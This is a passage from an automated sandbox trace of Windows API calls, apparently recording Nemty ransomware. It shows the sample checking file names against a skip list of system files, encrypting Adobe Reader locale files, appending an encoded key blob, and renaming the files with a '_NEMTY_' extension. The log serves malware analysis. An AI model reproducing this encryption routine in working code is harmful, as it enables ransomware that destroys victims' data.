hHeap=0x4f90000) returned 1 [0174.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.800] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\reflow.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\reflow.dan._nemty_kgobjgd_")) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.801] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.DAN", cAlternateFileName="SAVEAS~1.DAN")) returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2=".") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="..") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="...") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="windows") returned -1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="rsa") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="NTDETECT.COM") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="ntldr") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="MSDOS.SYS") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="IO.SYS") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="boot.ini") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="boot.ini") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="ntuser.dat") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="desktop.ini") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="CONFIG.SYS") returned 1 [0174.801] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="RECYCLER") returned 1 [0174.802] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.802] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="bootmgr") returned 1 [0174.802] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="programdata") returned 1 [0174.802] lstrcmpiW (lpString1="SaveAsRTF.DAN", lpString2="appdata") returned 1 [0174.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.802] Sleep (dwMilliseconds=0x5) [0174.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bd7b4f0, dwHighDateTime=0x1d561e8)) [0174.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bd7b4f0, dwHighDateTime=0x1d561e8)) [0174.811] GetLastError () returned 0x0 [0174.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.811] GetLastError () returned 0x0 [0174.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.812] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.812] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.812] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.812] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="B0ITHl9wz1nSBYRV2/PFesNRUrXA59nC5rrbBR9UPUWRTOxNnQUwmUd3Q/fIY0JH\r\nSesuKPoFcdGEzkFVuFBOppbQw/3bXP+bcxrrvRJw9uApNREInHm+WYfCGkHiwmSw\r\nZKNzYVVoeRbNb5MOnAd+v1GT/ofFGjnh/t2o67qXtLh/KrO9a7KlWhcLd2uQtm3I\r\nv02SKacRsjGo74r7tx2aVYyNDVDX1ig2z+cWTzZt2bA48q47NyPpu2zZwj0KrEd6\r\ns+JA7E04u9/kPKZVevXctv6W0VJtexIEdkMpLc/J6Sak7r4VLOlbWjXEmDjVmVLB\r\n78o6binIRldIlLDtfaGQPg==\r\n", pcchString=0x653e5dc) returned 1 [0174.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\saveasrtf.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.813] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0174.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0174.813] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.813] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0174.815] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.815] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0174.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.816] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0174.816] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.816] CloseHandle (hObject=0x2e8) returned 1 [0174.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.816] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\saveasrtf.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\saveasrtf.dan._nemty_kgobjgd_")) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.817] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.DAN", cAlternateFileName="")) returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2=".") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="..") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="...") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="windows") returned -1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="rsa") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="NTDETECT.COM") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="ntldr") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="MSDOS.SYS") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="IO.SYS") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="boot.ini") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="boot.ini") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="ntuser.dat") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="desktop.ini") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="CONFIG.SYS") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="RECYCLER") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="bootmgr") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="programdata") returned 1 [0174.817] lstrcmpiW (lpString1="Search.DAN", lpString2="appdata") returned 1 [0174.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.818] Sleep (dwMilliseconds=0x5) [0174.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bda1650, dwHighDateTime=0x1d561e8)) [0174.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bda1650, dwHighDateTime=0x1d561e8)) [0174.827] GetLastError () returned 0x0 [0174.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.827] GetLastError () returned 0x0 [0174.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.827] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.827] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.828] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.828] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="RbZTiLotIL1NpOPoyg4tEXIfHkz+8PABRGymrA50uI0iSi9oV4OJfTxMbU/SFMbV\r\nDbBmrXiga1yLxQAhQ2LbhPIMds/uMwprvZAcQxDg/VUE1veyPtrWwEYNEcBKcQ5r\r\n+pg95EmryhKjKSL/KdyS4R5NcIijDFYUCd8oZ610edM/QKswvZYjiOkODf3U4j4T\r\n3jS8lnpkvkvudFcoV9cH8sD/qRdfIMXBPkgo3O+NVU4oBPQx2Cb7qPiOdVlhN0TL\r\nYcw83KvprkmIXUjIIqLJoI14b2Y3mQnv/4C7YuJzxfKDWFdH44mluxn4HIm9zhOu\r\n0pAUUnGHWDAWOdAvZ4hVuQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\search.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.828] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23552) returned 1 [0174.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5c00) returned 0x6352c48 [0174.828] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.828] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5c00, lpOverlapped=0x0) returned 1 [0174.831] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.831] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5c00, lpOverlapped=0x0) returned 1 [0174.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.831] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0174.831] WriteFile 